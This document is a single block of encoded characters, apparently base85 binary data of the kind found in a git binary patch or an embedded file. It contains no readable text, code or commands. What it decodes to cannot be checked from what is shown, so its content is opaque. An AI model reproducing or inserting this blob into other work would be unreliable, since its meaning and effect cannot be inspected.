zLi@vwb6E+u^o-Q+kq6&ho+RSlS#G^)XrA~cdrz6%T4uq*SrJ}oI-6^rT>HiLc89YI z;zOqstM6Kg-M4JTC28Fb$1aT?yvn!roca>)BjnVXa*v-~EUl;xdp5shtlgW#N$Jmy zXTMykGBK=8Of(_;cZj5dLH{_5k5~4)t(I(gd92mDO4TUn!>yeclh#gOF!w~L@Rp?q zKP}b>@9{g{!W=XHardFI@I%7w<9r^enC$I&k$!MY@U^HRp&c5gIo_eOHPquB&Po1I zC?=R&o_%z^*Saa8TJmGctLIPbc1zmbSzTPt>2uVMy(chfk(I!L7t1DHCY~rXajhax zv0f}J(YXGpd%Ew26Lc>pB;R(f5M8vs(d5=uP2HPk{Lj1sep_bT`W>FPwD@_cXG3@PRnLVluH3YL z?lUGm{Roj~vDR=8XG!P$nib1hYXhH5lj{+US+rzR^~I_vt45I%S!tm}0^`F3lsCaV zR4(~bkQ3xSactiFU454#WM*Dl-oN137Zq8p*;Zr31x_tw49>XUpAhb7nsM*!2gBg} zcJrtd*N_7e(mwMhK%jSeU}z|HqkwL>_UA#-(XosDT_ZcQxE3Omv+MT=asr= z>Q@Z)^_D#iF81{OJSsbFd3U?Oe6VNZ?1`3zvjN4#@tv=#L1p&4t-zPK66fd3^M=2gmCx1UuA)YVVR%i z$ZXqa)j3!5=e>^oViMBc$yUMH5~|KjX+Fm2guudS8d-WjUcA|JOZ$O|u~ko{kI>%d z_xOaGqP`tl@z~{&>&5CfyWV}Cd(XwIE&1W`Lg`HvdHXb|0V65hI)BU4jG5y*M+3`_ zqH|f{XOuW+W7nQ8oD(EDFWM}fb5A-y+giu!#g(}k?E8b4!*r%uY3jU^HoA3iFkpVo zx(7Rs$(RgGE;R3ctKVF@OW1ot3IF85pSO*!Udnys|6N3mLq9~B7xS4hHR0XrhEF%Tlf{$kxj=Ed$<@(~frK0Ht z{B=+EFK^an*+1H!?Knr*WUAm^nUCb4bpMc$M5LSN!2F7hVYZFAuE^PO$?=>#ny-}G zC{(;KSgICio;=f(e#51y&TST3P&GNNBEaRS%KQA>&@nR8)a4bNH%Z?+y|8q5@V1}M z^;HE=XV-g=(%W@U`P-<&8^8EjPV%qacQ`aQWW)U9eowUTCe43hGUNIF$g9fl&_7Wo z+>P^&Csd@Wo7PNjVV%}A?AmM?X&GyJp(S!j^T71u0hJ9uiVB3P&hC5YL%6@cS!bQ) zCz5?CW6^<-=d1SjJ3I|3EPr&*#Lun9p>XZ(d7lQQeO#75o?LtX$nA9NpQmhFdg=nB z-GpbKobxVyIx3Hl-2HF^!(K1^z5bb(hBg_cG3pt=&xSnfd33BrZj=58r^_eyb_n-= zO{ln>x5nso;k6wBKq0-%SEF_8#BCG&lf5@Is_%EVSa9mdxCRMbN5+I($z2v|4;@sa zG~etE%}in~l)h7|kz`TiyIt^uaw>A(pnC+nPyqTrf}#YUpcug?Bt`Iznn>`Eno95s zs}TGm8iatzJVHR!h!7ZUK?sgsK?sgnPY90nCWOX@5<+6Jgpha=AtZ5<7$tF)7$wOe zMvW^XgvT`y!cy&ou(S}Li1b805m^mBk@2Q{qT^TdiB1UM6P=jAH+o_w-{?uXe4{6q z@r|DHoo~z(QT{PGO3|EH@a!^S|kECn`JyFXm+A!5g;44J;VeoM&cW!z z32Jz0{)}Nj7{Ixn51jY8z;tL9=m}#6K#tDg`Wz7kH9pW14;a$`o(ID)cc>4A^FtpP z3fJpk-2V*yf1}*LEJe9b`Ge(FO2uTCTS?Gy;~{fZ-?Us193Y^%XObH=mY@#C zLkEjN+x-L3oM$KRdrNI3tsjcUdi*^siD8uJMllYU@Q@%HPymdNQNMT4M6(%ac|JSr z(4k2=lqfG0>Cc0gKaIoX^X&S&n$W`b^RR6Qr;Dcj2l!QYDxfXe?unRaie)~Ko~j6o zDRlxS|a zL|0g^;dHjaB5FW?GPpLE(&KT3`lX-h3fwR}V9_UkjeDABGH7hW?MXA(?l2#8v;p3A z%tJc-uiry(zWNUb>+fOzEx$IBj?WvzE zhlth|iXozJZ&pJ@*G&UNv}n}|5v@hEK}2ge-4M~52GJ=ZiF{cRi0JVz2~i263`Av! z6CtWVl!J&SI?50|A_9m2|8T;`-xCS^>m7I>_V%M5Q*Qpj6vDkv3SFQAstFgUpb#o} zr~^-e1B1}ADoRhFC`j$*;q8OMHv0Hen?D;}T&c9a{_Y!5xQ{!s06w$aXoZtkWPm@+ zWh0D$^c#b)K2nQtiqwYUM>s)4T~Qi8kBAWJn`zYg6&JM`I$)o11?f}b=pX0%;JFA6 z-~Y!soIwwVC;f4L@Q?FDf1Drw?0E#Fsk5m^%LxA{+u@(qRPGAa4 zHbai&fSs^p3zX(P!jiwCptzbE!jg6d!jdsij+qEceuLtlK*!JCLB~PyP7zCw}w4dX)5hhhe06%=>_ zlAvTl$$|11$_FUjP*7aCZn&-u#SF?SC_Yf4pd>&^fr8>(#`qj!9h5dGV|(Cr00rr- z{pqimqWahjZ^`??Rar=Uy+hy!FbNnZIMmHcaicfV4a z){LJwY!SLlo~6TUW0gqD@B;2c7r=R!6Ctfr7tuHHZ81}-)0#1@Aaq4clo1* zE#Wsy|Ddo9!{FwTJNh1KDEdAr%z{`2n+I;^M51>p{HT@)MsHLEM+U=+{<9wD;}U=@ z3G#-UPKuUuY|z$SNRYqJUoU3Rc2jK+OM@+eY(;IN=;N_5M3HI@)M>*u1$%g)D#7}@ zxNG?P!N#R}ZOzqPB2JKPW1 ztmqQv@9j?Y2Wn%u!3O*GudxE{MX_KD{?)_gyfKM}_#a<+MRuF<#DcB=0)WeS&6thtRcqGB=2<C*n+%EuqhtAb&k$T~E$`!i=P)YR1R-|U2c zDN9-E0rNuhJuk>TpuO&p@p43M^*^aIJzu2fhJU6-*8Dd+&|Y9LHJ987?ct?Ht&Ljg zzo(~r4$X&oX_3`*JN&n@BdD6Ac`e324~7aumwV3OK8B{P8^>s7{+DI$Fg=>1 z`@^}rEBqbt5BB{}@}YC5Ylv*5R|NhX-G8>dJGC-^c7l2PxX3Erp5Q;XFA5ESHTQ?{ z&Uz91vjZ@8j(j33r=q>1X~b^mz26 zKDNEgBgBjLC#7H}f5u%!y)`gg1{E8<7J$m)ty}QcDIm_^tyRFKiW$813KWjkEKnL0 z&Re_in60Hnj~W7gWm;5H9|{8s6N(uW3n*4lY@s+pafadrB?Jl!N&=K*C@D}*K*@x1 z7D_gh%TRKl+=6ls3L6R+%3~;nP^zIcKtb_ap|nBihC=X(N{)ph14R*vIutD^x=@%< zRzacX$Z+)no_j%oYip7bP*_kBpd>*_fszg79+c-$>Y%hiA^2h5P~@N}Ls5sK3xxs2 z42l($RZ!MJafjjqB?L-5loTjup`iFVP}oqOL#c-H6-qx8NdcHI6m=-NP%NMXK#7O4 zGSrV)=I=+Wg6|qQz^CsjuTa7qet3VSO9%mV?k>BFcOW=IQ+{2Yv<`M+QP!PmOVhJpB3H&6zai}M;(j$PdfiKKi`-c%`@H5RY zK75BP5~T^EPT=@}Y2DCd3Z|zfMld}!)?gmUZAJNnqIY9qUeHN$rM{~V^Ylk&FkfB} z%76IWcp3Bsp)6ZA$K8ESB$balJk%AJ!9x+9M8boxurToTH3)_t4$Pmr&S4sO?W0ND zD#(!`4)8bfBUiyER47Dq>RyTBqq`3;9eUbR#o+XRaXO!1mdw0H+qwW z7mHWUUz{!v-KqZyTLSY$wwlA-(EM*1fBcxNZp17GL#bR*K6E+gj)=X!*HOP;$gEs&FhazmhzyHjD@8!@xe-Hm>W&xjm z|4%>h@Qsv_KYx!O1K(xg{qPb0v!6e6h$a5|f&c#CfAqskulWD@0ly0b63Ld zJ$n=P?LUxo@X+DpBS(*=q#jQ@k)Clf^VI1xXS2?o&%SW+(&Z~xujO37ar4&gJ9qEp z-haS;$RW9T`HvnydHU@6i-MPhuU;1wmz0*3S5#J2*Sx8%d;6}wp|R=xhmXxIt)D)B z`TFhqkG7xf9i6|res}lu_Vo`84vqLz2MNh>QqnTA<0njX%m-nX4KE8hb0f9lmA)#U65s_Qg zu3Nvs$@$;)TcfsZkN!Vh|NqnF|8KXyv5BeKBJ;%-mP?jeEwi?EQqRyA5dj`cBZy4JOrZ&19dOkc;*i8YZe4v2nhj z&s&CX)Rn{Jm~-BYd)?2Go;%6cby&YTQ!ycH+9cpeWX-xu$KXcT-Y^AfBo!tNUykCYy*Q=en{k#wVsEbkk7rY zE?D@ikS=SrFhSP_xS>zEa!XeG~=@e~F`bOp7><}`XUZeYRn0Dq_ z@J8dQz46KKRQ}hUcVT@osPJ4Zt{{Jz%vtxl=$I?DFRD1fHFQ{SJ7=|o$Eh?@Ri)(2 zzG_O(?An%q%jcr}{y2F1K7R$_^x$98lem2FFXfZie)3=JCvpA3zto?^?Fas){Yc#Y zmQfT zMf{J0x3BwG(1`oT$n+!cKO@TrBko^F-|&b1V8s28O8-awN8Ue?{?GOUBksRc{(rRp z$on^y{~!GaM%@1?{U7}gMm#?#{U758jClS~`ai}W81ej~^nZ+BFyi@#^bLQEe=y?t ziS&P7KO>*NNdM>cH}d&S<^RX^3($V`e;&N&0LEDSz6}pWFz4YR>bXP^Je-O-53f?s zHG<%w3FbVkrk;y%gC1kh2o%ShhnK$q%4Qx~W6r~N>N!jhJWRoyhbEZw@arc!KOP>( zoQD>e^RSol0|7CJmx%f#hiyGnDbB(a~=|y596PA2*&kn&H*58 zz5Tk{i+Auj5-~n)%SlkxGDWRsmNI;=DPO5(<9U#$EH@{+O~H_0j?2>;dkrv+@2}jM zt!+qf-O?s3x(SMHUCIPZ;9oX73ni}jaR-=f(pqld0Ml~|jC_yW2iG3+TSdCTKSXYr z6(Fp_0d?Oif$2gmLxNQvl~Kh7A1ou{r{98qr0ncGwk$Ot)QHqY63bwIEdQXrHjlxr zwArR-yCBbO3CrPo3O+usFRxkw%eP%VUNq+!I5VobjO8i=?GwyAZuCbCfK{kN0U1cYB-=1VhSZQW_5p4u5 zV~l2czL7E{%I}rUwQB^A%5t*hQs8(wJLdkK^hV%y`s@xzPxzPd-Tt2S&5htm)daR~wD23%57RSVOw9;y0+DI+g6FP)?IRc8Gm~rrU+Y6x_tmw3Z%*_T48%A>$YJ1MBY- zAzR$~0VvJaD&}5?^?#hE>O1Qrc(J?7YdSwHzgw>ApwCB;;WxkJ+SUdJA-G_z?WK>P z*Uh7Ai)#ggn5cX)_WMV`F@G~wpC9Ho;(b{3jvIaO?h%O5egcd8cRzt;Msuz(4lktr z0_H)C4uAI(xF2c1fQ9`8ZaB@k#u&%a$i#jE_blxfa06*%fxr6+%(vJtxI!aq8%FFW zFcmS!egf+W_6t%m`qIcX#yFlv7WNak`LtiaO2z&`AdOs}pD+#c9{l_-qmj$=6L!&@ z<${rcmuph7$hdX1w zm`0Wc<~%>4kABWGv7f+tf%$d({7=O^hDMe*4(Is^3o+;U31T=N_7j*5_&Lw>6K>I* ziTwm_0_MROH(<2Hs7oVP0rN3562I~D{5{4Z8krAhv?{HB-a0kci0Tp^S1!8s66 zyC7skDvZxs=XTTjG7zmScz7sg3FLEGdq3xZk5lF(ADdte<6m%XyKobjt&!FIF%I6} zh;AD%k2~NRxUjE19`W^a*^_cX^q|1ESZDZrWpb->pFRMNsvah-cVYRgy2hX&4p?`3 zuF?ffm_JuMwknYeM)BVo_rw%FU%7J)4%FoVs}SEyiK}6J<~6k~vmb%$(>(@GU4r*x zBE-r*>@f&9kfwa{5wzbq$=!nc1bEGN+Ft$y-oKqAew-D42D+Q&SAX7V1Iv5VyV~kG z2w!r2dD%KsnE&NXcKcrd$?x_h33BlM-!NN1tEd2Y935slQV;2FvRU2pY+*}O#e9`iV zV!*#zN~G&2d>$m-PT2UdYvzcTG>dsGaGfSH^364fBArXca25PbeS zXE_?|uLkvjnhrz96rsJ|86{I{falY$4@M7Qe@JpJt<{M``{!`pfVje@B<*lm-(n**4~tshtdJqPOaHbH+j^XB>=1C1cCns3KD6F9yk6`y-Cn!uKL}SaBrEYo?cpJ_hlEzvo)5=s z$X^47M3tZTLqf6MVZpQ-G8#il+-zA=p%eY57sa9O1ot#X>;`UplHM_m_Ese zSyMvlaL*f6nZx?!*p$ulE+Nmx@6&y{d>Skt7>M>2lUb&s#O2GgVg7Ft9TSVmQ}q!x z>d#DJ`p(4Z^2Ma_N9pH5-VE3tf!i-S6_I%>o+yUN8p8H76y3h_HOcKC>Nw{=AJ*S@ z(Dw2xQdIH4gLrqCAIqpUrL2%#@cht+SHFZF5)EtR*Y&?7^>3SqC&jBl9@m$t`jWis zt?(&z?Gl*(gEil53P^>gt}MS}&|a2V)1qxJNd8xLo^Eom{WC2@uUvRe+O27KzrWiG z+Bf~IV#PDkFiWJ^Y!j>x5uJBO@EQ5N(%zS40Q-k|=Y;dzr=(oo_6aIK=R*DFp(}1r z$VbzYh4n<1!SOK^n|0(d*_ja_efS|9ADJ^%?mT@&t|O1e=9HR1`${)O^yHID^DXid zmM?q=KSagfp^;A-uD8v9Z=nV4TevFGC66qba_3CtJ!mhXdivv0F4^Uxp_KA&Db(Aq z8*_pr?On6(#_7WHnBNa2!~K|@(G~r>?O=Tf$B*|T*yORiT>|p+;CN$p_3r(8pEMKy zeCee$YF}^58yj-T#Z{>{devb6vNDYim)|ArF8*eBf47F|4_{%&}A6w1C%9*fJ6zOfD3!>a4fHpn4o zth)ATnl>D7tOK3<{jQMg^0i5pz*Xtdz;BI z@^Fs8(x1d)$R))}-42rAz0JnlR(L%VZB`2EyU5^=5{|l-uskBd_pxX=sr>1c{e3so zzW;R4^8@A(Jr7_GVjRHOkFgJ9FUB5>-57sk?85j9V<*NAjO`eIVr;|s1LJp$-!Oi~ z_yyxoT}#&;OsVywehi}4M{8jSS59l@-^yb@yt z#&V2hG_p!DmS8N#ScLI4##a~%F}}oDfbj*!=NO-1e2Vc2#>W^RVa&&vMG;VC0Ho zJw_%*0wY%h>oGDh5*WF{SdWp3k-*3uh4mPj7zvDAA*{#9#7JP|3SvD*CPo4yR{-lV zGBFYux%^mxA%@D?E zm_1h)$am^ABrX?)oa=m&1AyMbu@3AP&>te4&*)_>0z0p%xezMQpCY&~mu+4ODraS| z6~aQjQguW@2`o1@Az(eQQU6(;^$lJw~ikSDafz*=^kj<<&mO}_N0fi;_6q=8 z6#0C&ilOpDuFjkh2qb;gf2|yZ{v7<1E9b^Qa4>nBhk^iVuks5gjt7CvZQBht)+~bD z_U*fs!GJ8OuTb5O@-MDe6$=6Cs%^((>rnYQ*F&C$fR7#}x2*RwQT&z9qeH=l0N}5C z2+dDKo=jU12ELDTXuSZCJq+QP_AoGer&7}5)yN);$<3F-L7=cHYxg6RK4H+-BLZki zjZv*V1pQOO@mAi{NbrRJ_G5iQ7IGPeesv_6HetqA!&erND;~Xda0|HauD)0y&jj-F z{P|0_g3|Q%&x=G+{>k|q!6*>UnVX>9g2vaaBUYR!Kz47CbksoopTcMe-v+egk}{_4 zK<%G-H&S~$h?@TRTHkUso|J_rec2A~cWmChQ5e}5Kbvzl8l0GL-!;w-jlZNrx^q}y z*1n}qFB!8SXB@8#VS$QKh5I7Lpz$HDbG?KG!dDmBs~E%eM56!Je$5yVp)fmGFCVq9 zzLNjm7?9^t_9J~G;%!kYT4TUcq2PD-b|bzjUw=_7IAJI$liQ2d1Cu(YosI>2e$5m) zR=*hXN=fmdSfFGsUcE~UjTigL18d_zbmOsdQ|T@^Uo(*WaW4*R?y>*T`5W1Dr~SQb zJm_to&|R?_wO@B$ZBRUr2_#!|)zJJwb9-e`JUI1bs$tSf=>HQ5YUS!XfZqM?Y{yI` z$aOj8yLSN7g1XIL^O4@wq`G+rc-($@k$eDZ50hK(Om_mcOF9vgHpBH)f?uXJb0;Xg z=U|sM8I7Nj{zBowf-7O<(z{RBW}brn6LDg3(eg0TLwT=H?-b;3H0&?^6-pLIW|SZ3 zw}3p+vphAFj7q%s?2L*fF3NyqFf2rX-B~Qy`q*5ZP?C_fc4k4dm=`DSScXndir= z#so};yj68iRv>9g?3g~U57no$aEoOi>EBZJwnYTRFBjPKEr1lvmgviFM?C7K!$HW! zo?qq8LH=WdlG(ff(q`yV(VV%6w@un`!=IFi9c#(CIt_AXG3{PIQc&i!*>zK7pU8AR z6F+iy=%mpbrXgPJ@Orl|`L>6nq45g(!$iu}loB5@-ul*;_5kGX*{V8E@*xlXW{t~F zh5kL!%29UNOkTK|aNas+9OU{D&DopC8*9Y{#WbM5OX#o2YV#%|_gvk6aVl!x=TM?-#VYrc<6q*^`R^I{`RVThlkLgCY<@F2)U9Cn#n;O+r~rg zxc;t{3;AmPvL_iqaK1zoSJ@^zlRsZAe3~VW(g(bMebUl^xka7h!1DU7ip#0=Fow6g-Zds=K450jyjJ>s1kueT|V=jgw zdooYEk}JrT@ln352B8zJ<--gt`^;);O1N8@Mqhqxdd3sA? zwTT|;-%N4&E=w{%ce={n9yI=)=Tu5BCd&+djeg{S@^^k7r)@^g$rX~`Hx22TH7Yj7 zWNxl;`-166&w3P5!yrRveV#wvy_gMo{(c!fQXoQP@rQb1&#C$4^EO{CUIm{($f~E2c!zl%=CzpD(8#Q&kz0v*1?FWmvPx+rN-!_N z{56f-LK>MbF@J&ibIhO8$a+E}@fh=b%=2jEk~A_on6oi|KqGOVM%F#d?_z!%^IJ4> zZ_voRj`=mruhK|dp^Ms5n` z$1p!aBP*Fk;xOh1F;Bw$3_b3+r)gwjWSzp{nRr}cWS*osD+BA(u^uDy1P)Kb;TW06 zY0gT;`V_3k$UKJiM{zht<`Ep8Oe6O&)?;KI!uo?)pM>=oSqE_VejJXGxsT?oM6BP7 z^%$9ZuzoiV$H+{;;k#($?!yw>xuOknH#a*1MA(f9wW;Qhr8l%j7%4rvz)Qs3F|R3 zH(>pG9FCE>4u`L$k-G-#F)~+Uy(88;U_C~bJr1|S;TV~#XwF)R^((L*BXc0$b0^e^b2^LOAz;rR)0z(+NPuV4w1=6 zJU7y;yW``~jOIs(ml$oT-Fv}R7|mzU-$GXzr9RtWX*C(mSBM-z;;qq{S2MihRnh#1 z@DgA(8hJLqJ!z{(r4JA!J{Y}eo;9T@#U2TK(h2li7kqKMT`rdI$pD4-dGs@p|LN#uHDo;j=+i%n$$a+*4t$N)(uqoDUvJ!usEzruji-^(tjAo6a;}+eHy!b zXCuxp-5?02oz>i=*E0ukcbQBfP%3Gq_;5d!zFgLM6!_xX-&7?^#kZZHC=BM=D7dSn zilX>OCvt_s`-Gsj&c1JOK1uyy2`o=RQL7;;`iQiTCVIK~Wl%A0PL${pBZQ-?(WkX%Lv=FiS~*8jsVb7fXXvn{r3T zuA_K>l9mjJvea9n)J65zBjqF+upxI!vy0ghl%Kq6n+#~nH&R#ArtCFQW6A>Q7=w)2 z*3|etKO<8Xu(Y>axzD8HOV1+4gS{!&e-7TDu9qFNoyUXl!*;r0Hy_HcU!6N1nEkjZ zAvH*i?}eI@6M%AwYhElNh4h>`0TY1d%o%H=9O3(S@cPp(o&YWzdD{1M%OhT;qcsso z+q^S*)lH?JrOTQKTx|~u8h6K``aYT0FcHLvU-38}5BJyMr?B*xlR(tkt+Cr@QSB+d zAafEJ%$n3(lS}nyh(X&Vuy}oC)4*=3|I`?^lR@ED-v^=7sP=9&%$W>Wqr=t}ajE=H z0m&&K>r+|t8$UrRf8&5Dpnt30wP_WUJyHca~H9)6yh)P@Mke)w&&M zeT}GI)+P_MLW+;^)luXBwTi!kBl28D%u8a;0 z@1@4~b~|SUuvAgH@zz7?`rGTkRRHFtwtfruq4B^fQiuQX>(lyEqx#EG{aM#E^cBI2 zr~55W9j5f8rk5gUJ3p_-_a)W8rE^jg!J8t*RFOt%Jhf^)R|J=@pOebjLD^TT-KGeV zrr*zPl&1K19mQ#Y{f!lwr40A;3D#I$xE|c$BqiE16^$>J<~-Ikuzqi6=*LB9y_7Y5 ze)crrvqx#_TfTXa6HD}}rvdeg=ccj`QrCB=zQ}Zt^LtvPlG1zF|E$vs^rwSPg^1$F z>u9}?Rc7Ed9k`lGze(p(irojsLx;oH#tfMsUXHXZO6 zGH3M7r_#p&MJ3RwcH&rLHdS6C(?SX8&K)05iXqN=Z5*KlLan#W65Nl*KTF0mTM5kM z1nI2~LhEI$^=8#dKwcnGbEzS9eFrTfl)-mtV)84SJO8qYX~)~{KH z%OZlqZGu1QT$*#Emh#~_`$vds5CWxkFCC^3IyUkpQ}kB`v~c^t*Ssw#;kq%25S6EmP$+@zaQ6` zdA30LA=JMvtshV7)w%BQ%|+{V#IiDSJb8~yPivH(fw*Y-f$`)MIlh%=^U!`L@u=Ks zJjoU{dOW$3iXT-mXFPd7du-2Z_hm@0TR9|4dgfo3u9}3_n~2YqMY5z$j(p&o6WWMp zRGpM116?LRv%O%7`0{FhSu&S+{at0@0>t@ifGjE1;Yk9a#IO_pd@#BIpeKwSP^ku=#6llkLL1zK++_Po0$O$w9k z<>}Ryh-=hGOOv;x4b~glp!FEyb-j%=sTA(CspbGxzF&iaG?|sObH?mNiby}U@rM+t z@!5WRl#@K-*^Q(W`9W{a6RQnwM z7(I?$ZYQ~+D}*Xfx!GnMIZpcSs7LYbs6B2pD~ux_alX}i7gFh&Ek7j5r5E+TM=jJr z`4_g3k|Z;4#(gP2PDZO=PKt#hEhdW= zHJ%!ONmVDs$#cp(H3t^=A$t?6fjGHs=iC(q2dMSUoi+7hM8!HiGXjzzu`C`myBBS@n5W57{8zUl%==)DlxXZE%v}t#1{^ zk|)!y=q%k$#V>wGjv<#jKQ65nqU^s_?=*&#J+D|kW{nw2f3#s}G%0bRVLo3nHGXF` zlB3B7JFm5$%P~j#QB6*xNs(1^3r=?~MZBSDNR&LhO!Io>X{tZ(ygw;QGQ00O4Lqg# zYtIKDN{-h)vChlxBdU+%$9fU+QOoK2fPSifRGXtk$Q{p?+&dOQ)vv8tL4>R-z5I0Y zc{!B-ofbG+BO2uAc#YLVT)#D1n6yfN7PfxkBE)-J6@iJnH&u_;ON+3@nlAsV||@ANmS}NQ21- zS6t1a?kCJ|^@3#G{*%fQLTEjk`1&nckQ85f=q-PV8sh7|13@yT_~ON8RLrZ$qFygGZ+SCcnX`$zqB z;wQ&AZx;FxLyd2#_8~q}MJ?$3SQE zeCIDigB<5~U+!yaQ}?%ZU%?<}dG-wvagwrc)wk#Y&Rd4PSwkPy9%kRke$KL@8=DR6 zsO$T~chJv~kc96e0k@Y2Fb5f}Gz1%s}#d#(i zGNx)3)xTc9Ko{rJB;%Rtti_X*^}Hg)XCYpv!_I37us(j7{5U$ zXYo!Y78pm_*YG>KgL7`1MtIF9inF@OcFx%F>+yM;sQ#PSGxU?Q{6oZ$@YD$?eRdD{ z$?1BSFiUbY+8-cvd!ySp*&jab7420=Jm6RK56<>Fj@@cSs=X$5MStg%KPq{7{4P}= z$=^d?Ik7v^h63(UJHDS@E4C?uo**jFvsdCOT6tAbA7nyxSb)1)d;}#i4jYj#g`iE*b zq4m2-Ay|h-Kq9~AF|HloReBy&Gn?}#~d2E%W?857E=+T>|qTJ zo#%`d-@kI@ZR-94P5A2=fA6MidGurO-NF6nxkr&kZnyT%T5Nlp6gKuYH`S~p>6r9; z3Fv&@+`bEjXwtG9vmB5PO1B?Yo~MEkYMnzjMI7vYoS&Lpuz zcF30HtZoAyw?fZ01@B|L>v}tLb3hwVWn6EnKbXjVo)$WB(XKWy6n|qWXQvAzuH$Ke zQAQh>=b}9^!r~x9Vt0>^d$_VTq-#eC8~!Gbii1(HvWvJ16+xDRLj1kbX3 zZpz$V&Ti1SaP_#!PmnSH=W%k*VfOO^csme7@ zieZ1=m#E*f=O@@KajZm1@*q3(rT>?;XMTbYUY1*}*6wGNuM>=Kc<>VlcWKVsxiXb~ zG1p6bSNTuCa6e7>@ntaNYx<|#e)|db-rdTdQh$(Lndq9Za8x@;j$aZJ`fMNLXx+Ah zmJ03QTUK)N_6xBLeb-RGE&A;sNa)#}?K!CoaPEf9>*ej>Y-cCOE^iOxZB&!TqRs7~ z<`Xk@?!#C{jN7lq`uKLRO$;O&SRH3KzEk*>p3x5Mq^?|RmDu$g zw5zT91EzI=D8Y&QTTbj@42^fcA;RbYS*z#APg6V0_<8b>(-Zp+FvHw>-S>5S*)J~` z=$#Mjfc~@z`Ptwodt^qXd{(bVJZteLF(Dcita{h-<_Q!1LM;ebh zz@wS#^}2^L*wb~Ttj@jb01qkG~<{{@bJ{PyF7*FN?ewcGO-`$PRYV$I7Ml{Q@oW z$JaIt8%-TF5qtT+w7{oGlTwaLl>}fzag#rHjPcb851hS?E+)R z40+n`4r0%l?7_HE-vurvFyLoIHnZcCm-lQN>H=NjJ5?kY3G5K3udSg9zd`Djgq@51 zV%Q-uSr*5^Z?Le!!>1-YiT%RU#QuxZZ&2o|?XX%oi4E4jv+-vA2I}MaN8j6+!q~<4 zC0ORvZ!jlS@O!vyJX}CgvgPtt>Fg`dl*}hD?go9YjL*bZCa}L9GE1xR>IV0_ z%G0`^o@A$P+*9*xPd6~Q9o3PaoXV)poMrOyayL+2y3_vWr=yHSv)ki!in_tY_n&k& zR0Oc+hs&m3{n-tCj=euEUATksbm-uiwK6?GNySk!vNE0h@yV+kJ-r_AVEgTuXHK4M zi51UZnyu*p3)-@dMlB6v+giUn8N00q6z`Z4wRU1U`@V2Nz|YJcpws;N;KSg9?4-6c zu?HXb08V>gj(JoR1J1c8xwZBHKda`50_6yX$H(2t5Rx;@YL-|!Sr|L z{-QUDv8AJo-2A8)6#KLk=pH)2zEZX(^<--=h$&pJ`|8v&#>PAQW(te<0p$-Yt6%TZ z*nP4#_fF641Hx7DS{qodY=hMw_XVx)1MhwBKd28p!Ct(fuRScf4;WltwcW-sl)Yrs zDXpBWKA<^sm3Ucy2D>zGY0}ifJ`kUwv8C8BmLWQ|YHfad9|$_J859g;uurVm@iuKz zKX_|lyW2xDhOwo1$mtTZAB=t)*Pyp3jj^=ELG!0)KfJyyhL$B9V%%;SmF#<?@R>X(eU z>L55Ovn59D&M|fu*xRCMI|vRGUSRFch-1WAJ?mS(We_y(8(T2F;t=Ca(%IA3&JKdZ zGfqrUI+4Nt>A7FSqG%8#UKw|*VV8uG=Jfj^}`>@eU@=@0XfC%uyD37zgo>A$BQsf64xzuE4+YApVL zCKdk?uVI_4xS_8vp#Sel-hb%dht6I!|BVBXyMJoR{Zp6zLr)j^m%lR7gfu5p>o{;^ zIGy=^KgQ>fv|&CjbnP3rD?32i7^OPL&|Hw9_fl0vIsxpk><@b}s}kH7c@VxMDill$ zRlYM-|2h~uVfyML)}cVd!hBa;bUx5pD>Uxldv~Ddw$Vtm`3!jf=95@GpBoreAg^#W z`x-c{u{QC+{9KUrJHc9LncD^AR}DmK4%~j9Z~%Ok3+G#PJs<3!W8dL$ zAOR?ypTU*Tdj{Hi?kZY!vcM-V(`gs$?*O-nyJy_F6$#oNXiV7u@(ys+wrltm`U1$b zg4JceG>7fAeezB~z~t<(9XxxDR>~ZHvj4$wc=7y;qMc=ThWUWntvcHU*TI9FE!7+5 zR)DP5(XV4~UIMDxGLgpj--7ZPvz>mf$O68T+gD$bEe1!nc=qmR}a&i{{VpXajDS zVrL)Pe|OjpIvl=D7tmpE-(NT!zI=iGMHRjm!+d>|xZzx(CqOgpTUrft@S`5LIN7%6 zfsZPAM{B+{f$9hRYXaACfTH^Rop(jvfN%56mYS61f`d%Ur4Pr|0FL9v+s{7S24MrI z4DZJ>T~CJX;MvRfQJ_%b zXZ>*aqSmu!3-7!g<|nUs>75O#1qE`&hPeYD!MGXn=WYbmfH7AV+4qEh0+((|7oSP2 z0x~^g$U{Fr0Iiml%belgw-ZTw!Q9jjKxEFnrdc}W|BJnEfsUfs+Ud{w)ut9DoIs@k=ynN}=S)=6LB{~bLV z`PPfSzx=)ueDCldAJ6Y&$S6vIMe~MRse@quu#kvs# z2Waz?p(?lZl+hMiXOMple{ulbdgq2rp>PDXBj^4!?(?Xr8@js>=iP;`kF;?wzQ5m+ zQ5PcJAC=X2@4hnFofv(*KNtI*@{QqvjyrPaYwgRqcMKK2y6NkBk1m&v(Xu*sbIIQ`%v@4k)r$AEp)YYv-#KQX7g`HcTa<~ z`S9yQ+#$DB2j5oR+0EwP;chnnUZ<6N*?gY1Il1w8pOurJ^$hAgE~az)UtMF?cIov};S);Ds2g8@<%2JFJ>WQh^yt2& zo~zQg1!o9{T$`VJU1oCm$Yh*wbAsUYWAv2B$9HyXo=QtzCRXlY>1EeUPcFVe&Y`ngPx7_Wb<8fa^c% z(k$<;pC+|AZVT|_E-+Shz58j;)iKi-2XFh{bwk>9H{UjNqavL?IHv2k4|i?dDW3V^ zmQv3vn^x~zbF$X;()Ew5-d$RtbhvGXuql4auH+>*wT-PD?>S!b@#j5XUF%AoKj%nD zw^-EkUH=oWAMm7p*Jo~aAJspsihS|mxt|aD=A+BxJsf&*XGvtAW_cIS8uL_R)78!L z)+AgtZ*}UgyWSdh-_qJ1n>@c+GG09O!51!5RgeDP&Dx;+xc>b=dVG3d*9)($QqqNa zp6}k;$bZy%n`>6kH@jY2GE-Uibj8|^&p)>7<>^ygch=qNak(CRWcJ_hbyaTPRr%r# zPKB#|x8LCrdp*f(I(vjWRsV@9Z_W=rmo-hhT;2&!mEV(MN4z_I0z?G6fUmUlq^ z;-Znk|Jb!`=+fkC`)|N|v03A9dh&?tqo0Hy&R`u_UVf~~w!*V($1C+)hMg_+Jn>`T z>ctOMx!&zp^GWpL>B^25R{U+knX+B~*w(Z7$)AUL(x)wa#?Si9L1+RZr zUHe0==Zjl5IXB*~`ZHB|vvUr0{3GCUdDq?2xktdvj?MD&bB4rth6gmuyWb$~tk3vz zSGU)5USIj_TF>7`ty+HnggV!PtBX<|eX(5W`1^~;6VJc2t9awPy$|)8>3O2K;ekONR17(VgiF;+O2|F{$_0f2&nIH7Amvc;24p`t9ZuU*G(g3G!M$S~z^C 